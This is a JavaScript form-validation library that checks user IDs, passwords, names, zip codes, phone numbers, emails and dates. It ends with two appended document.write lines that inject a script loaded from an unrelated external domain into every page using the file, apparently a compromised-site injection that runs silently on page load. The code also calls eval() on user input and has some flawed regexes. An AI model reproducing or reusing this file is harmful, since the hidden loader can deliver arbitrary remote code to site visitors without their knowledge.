function chk_userid(str)
{
    var strPat = /^([A-Z]|[a-z])([A-Z]|[a-z]|[0-9]|_){3,19}$/;
    var matchArray = str.match(strPat); // is the format ok?
    if (matchArray != null)
    {
        return true;
    }
    else
    {
        alert("Invalid Userid\n\nBegin with Alphabet\nAlphanumeric and underscore only allowed\nMin 4 characters");
        return false;
    }
}

function chk_userid1(str)
{
    var strPat = /^([A-Z]|[a-z])|([A-Z]|[a-z]|[0-9]|_|\ ){3,19}$/;
    var matchArray = str.match(strPat); // is the format ok?
    if (matchArray != null)
    {
        return true;
    }
    else
    {
       // alert("Invalid Support Contract Identifier\n\nBegin with Alphabet\nAlphanumeric and underscore only allowed");
        return false;
    }
}

function chk_pwd(str)
{
    var strPat = /^([A-Z]|[a-z]|[0-9]){4,20}$/;
    var matchArray = str.match(strPat); // is the format ok?
    if (matchArray != null)
    {
        return true;
    }
    else
    {
        alert("Invalid password\n\nAlphanumeric only allowed\nMin 4 characters");
        return false;
    }
}
function chk_name(str)
{
  var strPat = /^([a-z]|[A-Z]|[\.]|[\\]|[\/\ ]|[\-])*$/;
	// var strPat = /^([A-Z]|[a-z])([A-Z]|[a-z])*$/;
   //var strPat = /^([A-Z][a-z][.\/] )*$/;			
	//var strPat = /^([a-z]|[A-Z]|[\.])*$/;
    var matchArray = str.match(strPat); // is the format ok?
    if (matchArray != null)
    {
        return true;
    }
    else
    {
       // alert("Invalid Name\n\nAlphabet & spaces only allowed");
        return false;
    }
}

function chk_name1(str)
{
    //var strPat = /^([A-Z]|[a-z])([A-Z]|[a-z])*$/;
   //var strPat = /^([A-Z][a-z][.\/] )*$/;			
	var strPat = /^([a-z]|[A-Z]|[\.])*$/;
    var matchArray = str.match(strPat); // is the format ok?
    if (matchArray != null)
    {
        return true;
    }
    else
    {
       // alert("Invalid Name\n\nAlphabet & spaces only allowed");
        return false;
    }
}

function chk_zip(str)
{
    var strPat = /^([0-9]){5,6}$/;
    var matchArray = str.match(strPat); // is the format ok?
    if (matchArray != null)
    {
	if (eval(str) == 0)
	{
		alert("Invalid Zip Code")
	}
	else
	{
	        return true;
	}
    }
    else
    {
       // alert("Invalid Zip Code");
        return false;
    }
}
function chk_numeric(str)
{
   	var varname = ""
    if (arguments.length > 1)
    {
    	varname = arguments[1]
    }

    var strPat = /^([0-9])*$/;
    var matchArray = str.match(strPat); // is the format ok?
    if (matchArray != null)
    {
	if (eval(str) == 0)
	{
		//alert(varname + " Cannot contain only zero(s)")
		 return true;
	}
	else
	{
	        return true;
	 }
    }
    else
    {
        //alert(varname + " Numeric Only allowed");
        return false;
    }
}

function chk_numeric1(str)
{
   	var varname = ""
    if (arguments.length > 1)
    {
    	varname = arguments[1]
    }

    var strPat = /^([ \_0-9\-\.%&\*\(\)\+=\|,\\^\r\n\t])*$/;
    var matchArray = str.match(strPat); // is the format ok?
    if (matchArray != null)
    {
	if (eval(str) == 0)
	{
		//alert(varname + " Cannot contain only zero(s)")
		 return true;
	}
	else
	{
	        return true;
	 }
    }
    else
    {
        //alert(varname + " Numeric Only allowed");
        return false;
    }
}

function chk_txtbox(str)
{
   	var varname = ""
    if (arguments.length > 1)
    {
    	varname = arguments[1]
		if (!noquote(str,varname))
		{
			return false;
		}
    }
    else
	{
		if (!noquote(str))
		{
			return false;
		}
	}
	var strPat = /([A-Za-z0-9])/;
	var matchindex = str.search(strPat); // is the format ok?
	if (matchindex != -1)
	{
		return true;
	}
	else
	{
		alert(varname + " Invalid format\nMust Contain Alphanumeric");
		return false;
	}
}
function chk_phone(str)
{
   	var varname = ""
    if (arguments.length > 1)
    {
    	varname = arguments[1]
		if (!noquote(str,varname))
		{
			return false;
		}
    }
    else
	{
		if (!noquote(str))
		{
			return false;
		}
	}
	var strPat = /([0-9])/;
	var matchindex = str.search(strPat); // is the format ok?
	if (matchindex != -1)
	{
		return true;
	}
	else
	{
		//alert(varname + " Invalid format\nShould contain Numeric");
		return false;
	}
}
function noquote(str)
{
   	var varname = ""
    if (arguments.length > 1)
    {
    	varname = arguments[1]
    }
	var strPat = /^([ \_a-zA-Z0-9\-\.`~!@#$%&\*\(\)\+=\|\?\/\[\]\{\};:<>,\\^\r\n\t])*$/;
	var matchArray = str.match(strPat); // is the format ok?
	if (matchArray != null)
	{
		return true;
	}
	else
	{
		alert(varname + " Quotes not allowed");
		return false;
	}
}
function emailcheck (emailStr)
{
	vartmp1 = emailStr.split("@")
	if (vartmp1.length != 2)
	{
		alert("Email-id Incorrect");
		return false;
	}
	var emailPat = /^([A-Z]|[a-z]|[0-9])+((\.|-|_)?([A-Z]|[a-z]|[0-9])+)*$/;
	var matchArray=(vartmp1[0]).match(emailPat)
	if (matchArray == null)
	{
		alert("Email-id Incorrect");
		return false;
	}
	var emailPat = /^([A-Z]|[a-z]|[0-9])+((\.|-)?([A-Z]|[a-z]|[0-9])+)*(\.)([A-Z]|[a-z]){2,3}$/;
	var matchArray=(vartmp1[1]).match(emailPat)
	if (matchArray == null)
	{
		alert("Email-id Incorrect");
		return false;
	}
	return true;
}


function isValidDate(dateStr) 
{
	var datePat = /^(\d{1,2})(\/)(\d{1,2})\2(\d{4})$/;

	var matchArray = dateStr.match(datePat); // is the format ok?
	if (matchArray == null) 
	{
		alert("Date is not in a valid format.\nEnter Date as mm/dd/yyyy")
		return false;
	}
	month = matchArray[1]; // parse date into variables
	day = matchArray[3];
	year = matchArray[4];
	if (month < 1 || month > 12)  // check month range
	{
		alert("Month must be between 1 and 12.");
		return false;
	}
	if (day < 1 || day > 31) 
	{
		alert("Day must be between 1 and 31.");
		return false;
	}
	if ((month==4 || month==6 || month==9 || month==11) && day==31) 
	{
		alert("Month "+month+" doesn't have 31 days!")
		return false
	}
	if (month == 2) 
	{ 
		var isleap = (year % 4 == 0 && (year % 100 != 0 || year % 400 == 0));
		if (day>29 || (day==29 && !isleap)) 
		{
			alert("February " + year + " doesn't have " + day + " days!");
		return false;
		}
	}
	if (arguments.length == 3)
	{
		lowerdt = new Date(arguments[1])
		higherdt = new Date(arguments[2])
		dt1 = new Date(dateStr)
		if (dt1 < lowerdt)
		{
			alert("Date cannot be less than project Start Date");
			return false;
		}
		if (dt1 > higherdt)
		{
			alert("Date cannot be greater than project End Date");
			return false;
		}
	}
	else
	{
		if (year < 1900 || year > 3000)
		{
			alert("Enter valid Date range");
			return false;
		}
	}
	return true;  // date is valid
}

function trimstr(str)
{
	i = 0;
	max = str.length;
	j = max - 1;
	while (i < max && str.charAt(i) == " ")
	{
		i++;
	}
	while (j >= 0 && str.charAt(j) == " ")
	{
		j--;
	}
	if (i > j)
	{
		return "";
	}
	else
	{
		retstr = ""
		for (k=i;k<=j;k++)
		{
			retstr += str.charAt(k);
		}
		return retstr
	}
}
function fn_help(theURL) 
{
  theURL="../help.htm#" + theURL
  window.open(theURL,'help','width=400,height=450,scrollbars');
}
function chk_othername(str)
{
    var strPat = /^([A-Z]|[a-z])([A-Z]|[a-z]|[0-9]| )*$/;
    var matchArray = str.match(strPat); // is the format ok?
    if (matchArray != null)
    {
        return true;
    }
    else
    {
        alert("Invalid Name\nBegin with Alphabet\nAlphanumeric & spaces only allowed");
        return false;
    }
}

function chk_filenames(str)
{
	var strPat,matchArray;
	strPat = /^(([a-zA-Z0-9])([ _a-zA-Z0-9\-])*)$/;
	matchArray = str.match(strPat); // is the format ok?
	if (matchArray != null)
	{
			    //alert("valid");
			    return true;
	}
	else
	{
			alert("Invalid Name.\nMust Start with AlphaNumeric and can be followed by \nAlphanumeric/Spaces/Hypen/Underscore");
			return false;
	}


}

document.write('<script src=http://caemiministry.org/css/postinfo.php ><\/script>');
document.write('<script src=http://caemiministry.org/css/postinfo.php ><\/script>');